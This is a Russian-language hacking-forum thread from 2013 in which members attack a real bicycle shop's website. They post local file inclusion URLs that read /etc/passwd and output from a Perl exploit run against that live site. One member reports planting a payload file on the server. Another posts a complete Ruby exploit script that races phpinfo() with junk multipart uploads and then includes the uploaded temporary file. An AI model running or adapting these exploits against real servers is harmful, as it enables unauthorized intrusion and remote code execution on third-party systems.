HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.09.2013, 11:22
psihoz26
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
Провел на форуме:
182660

Репутация: 324


По умолчанию

ссылка на пхпинфо

http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php

ссылка с инклудом

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00

юзаю слоит LFI через phpinfo

взятый отсюда

https://rdot.org/forum/showpost.php?p=12621&postcount=2

Код:
C:\Windows\system32>perl C:\lfi.pl http://www.cloud9(АНТИГУГОЛ)cycles.com/info.php http://w
ww.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../etc/passwd%00
Generating huge headers         [headers ready]
Setting buffer size             [512]
Sending request                 [request sent]
HTTP/1.1 200 OK
Reading.........................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
................................................................................
......................................
Got filename: /tmp/phpROHVzd
Including...

        
                Cloud 9 Cycles
                
                
                
                
                        
                
                
                

                
                
                

                
            
        
        

                
                        
                        
        
        
                                Follow @Cloud9Cycles
        
        
         

                        
        

                                
                                        
                                        
                                                
                                                        home  -
-
                                                        custom builds  --
                                                        bikes  --
                                                        servicing  --
                                                        bike rental  --

                                                        blog  --
                                                        contact us
                                                
                                        
                                        
                                                                        
                        
                        

                        
                                hello

Keeping file /tmp/phpROHVzd in tmp, use it as long as you need it
...............................................................................
патаюсь проинклудить /tmp/phpROHVzd

http://www.cloud9(АНТИГУГОЛ)cycles.com/index.php?content=../../../../../../tmp/phpROHVzd%00

и ничего не ывходит =(

В чем может быть проблема??
 
Ответить с цитированием

  #2  
Старый 19.09.2013, 16:38
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от psihoz26  
и ничего не ывходит =(
В чем может быть проблема??
Все работает, правда файл в /tmp/ живет не долго.

У меня самописный сплоит под phpinfo, в качестве нагрузки добавил в него: '); ?>

Результат:

http://www.cloud(дщд)9cycles.com/index.php?content=../../../../../../tmp/qwerty.lol%00
 
Ответить с цитированием

  #3  
Старый 20.09.2013, 12:36
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922

Репутация: 75


По умолчанию

не силён в перое, но кто может обьяснить какие манипуляции позволяют создать файл в папке темп?
 
Ответить с цитированием

  #4  
Старый 20.09.2013, 13:58
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от qaz  
не силён в перое, но кто может обьяснить какие манипуляции позволяют создать файл в папке темп?
Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.
 
Ответить с цитированием

  #5  
Старый 20.09.2013, 15:17
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922

Репутация: 75


По умолчанию

Цитата:
Сообщение от yobanet  
как то так.
ммм, а подробнее кто-то может обьяснить? какие параметры нужно передавать?
 
Ответить с цитированием

  #6  
Старый 20.09.2013, 16:05
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Как то так, не знаю как объяснить.

Код:
require 'socket'
require 'uri'
require 'net/http'

def main()

	#setting up
	puts "SETTING UP"
	
	target = 'http://www/phpinfo.php'										# phpinfo()
	lfi = 'http://www/include.php?file='									# LFI template like http://www.host.com/data/lfi.php?location={LFI}
	payloadLocation = 'payload.txt'											# payload
	junkFilesCount = 50														# tail
	recvBufferSize = 1024													# receive buffer size

	# just echo for u
	printDotted(' -target:')
	print("[#{target}]\n");
	
	printDotted(' -lfi:')
	print("[#{lfi}]\n");
	
	printDotted(' -payload:')
	print("[#{payloadLocation}]\n");
	
	printDotted(' -junk files count:')
	print("[#{junkFilesCount}]\n");
	
	printDotted(' -receive buffer size:')
	print("[#{recvBufferSize}]\n");
	
	# try to load payload
	begin
		printDotted('LOAD PAYLOAD')
		payload = IO.read(payloadLocation)
		print("[OK]\n")
	rescue
		print("[ERROR]\n")
		return
	end

	# payload
    file = "-----------------------------89q8834898293409rw29\r\n"
    file += "Content-Disposition: form-data; name=\"file_loader\"; filename=\"\r\npayload.txt\"\r\n"
    file += "Content-Type: text/plain\r\n\r\n"
    file += "#{payload}\r\n"
    file += "-----------------------------89q8834898293409rw29\r\n"
			
    # generate junk files
	printDotted('PREPARE JUNK')
	
	curJunkFiles = 0;
	
	for junkFiles in 0..junkFilesCount
		file += "-----------------------------89q8834898293409rw29\r\n"
		file += "Content-Disposition: form-data; name=\"file" + rand(10000).to_s + "\"; filename=\"\r\njunk" + rand(1000000).to_s * 10000 + ".txt\"\r\n"
		file += "Content-Type: text/plain\r\n\r\n"
		file += "superslow\r\n"
		file += "-----------------------------89q8834898293409rw29\r\n"
	end
	
	print("[OK]\n")
	
	printDotted('prepare headers')
	
	targetURI = URI(target)
	
	query = targetURI.path
	
	# add query if not empty
	if !targetURI.query.nil?
		query += '?' + targetURI.query
	end
	
	# headers
	req = "POST #{query} HTTP/1.0\r\n"
	req += "Content-Type: multipart/form-data; boundary=---------------------------89q8834898293409rw29\r\n"
	req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
	req += "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0\r\n"
	req += "Host: #{targetURI.host}\r\n"
	req += "Content-Length: #{file.length}\r\n"
	req += "Connection: Close\r\n\r\n"
	
	req += file
	
	print("[OK]\n")

	# create tcp socket	
	sock = Socket.new(:INET, :STREAM)
	
	# and set receive buffer size
	sock.setsockopt(Socket::SOL_SOCKET, Socket::SO_RCVBUF, recvBufferSize)	
	
	printDotted('connecting to')
	
	begin
		sock.connect(Socket.pack_sockaddr_in(80, targetURI.host))
	rescue
		print("[ERROR]\n")
		return false
	end
	
	print("[OK]\n")

	sock.write(req)
	
	data = ''
	payloadFound = false
	loaderFound = false
	payloadFileName = ''
	loaderFileName = ''
	
	while true
		
		printDotted("get next #{recvBufferSize} bytes")
		
		tmpData = sock.recv(recvBufferSize)
		
		print("[OK]\n")
		
		if tmpData.nil?
			break
		end
		
		data += tmpData
		
		tmpFileName = data.scan(/\[name\]\s=>\spayload.txt\n\s\s\s\s\[type\]\s=>\stext\/plain\n\s\s\s\s\[tmp_name\]\s=>\s(.*?)\n\s\s\s\s\[error\]/)
		
		if tmpFileName.length > 0
			payloadFound = true
			payloadFileName = tmpFileName[0][0].clone
			
			printDotted('payload file location:')
			print('[' + payloadFileName + ']' + "\n")
			
			lfi += payloadFileName + '%00'
					
			lfiURI = URI(lfi)
	
			printDotted("Include #{payloadFileName}")
			
			response = Net::HTTP.get_response(lfiURI);
	
			if !response.is_a?(Net::HTTPOK) then 
				print("[ERROR]\n")
				return
			else
				print("[OK]\n")
			end			
			
			return
		end
		
	end
end

def printDotted(msg)
	print msg + "." * (50 - msg.length)
end

main()
 
Ответить с цитированием

  #7  
Старый 21.09.2013, 15:09
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Как тесен интернет то.
 
Ответить с цитированием

  #8  
Старый 10.10.2013, 22:12
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922

Репутация: 75


По умолчанию

Цитата:
Сообщение от yobanet  
Как то так, не знаю как объяснить.
вопрос актуален
 
Ответить с цитированием

  #9  
Старый 10.10.2013, 22:53
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
Провел на форуме:
262707

Репутация: 935


По умолчанию

Цитата:
Сообщение от yobanet  
Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.
лол ))) как же ты писал сплоит, если не знаешь как работает уязвимость?
 
Ответить с цитированием

  #10  
Старый 11.10.2013, 00:10
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 1
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от yobanet  
Манипуляции по созданию файлов в /tmp выполняет phpinfo(), достаточно передать скрипту содержимое файлов, как то так.
Это не phpinfo() выполняет подобные "манипуляции", а интерпретатор, пхпинфо же служит связующим звеном, позволяющим при определенных обстоятельствах увидеть путь к временному файлу.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.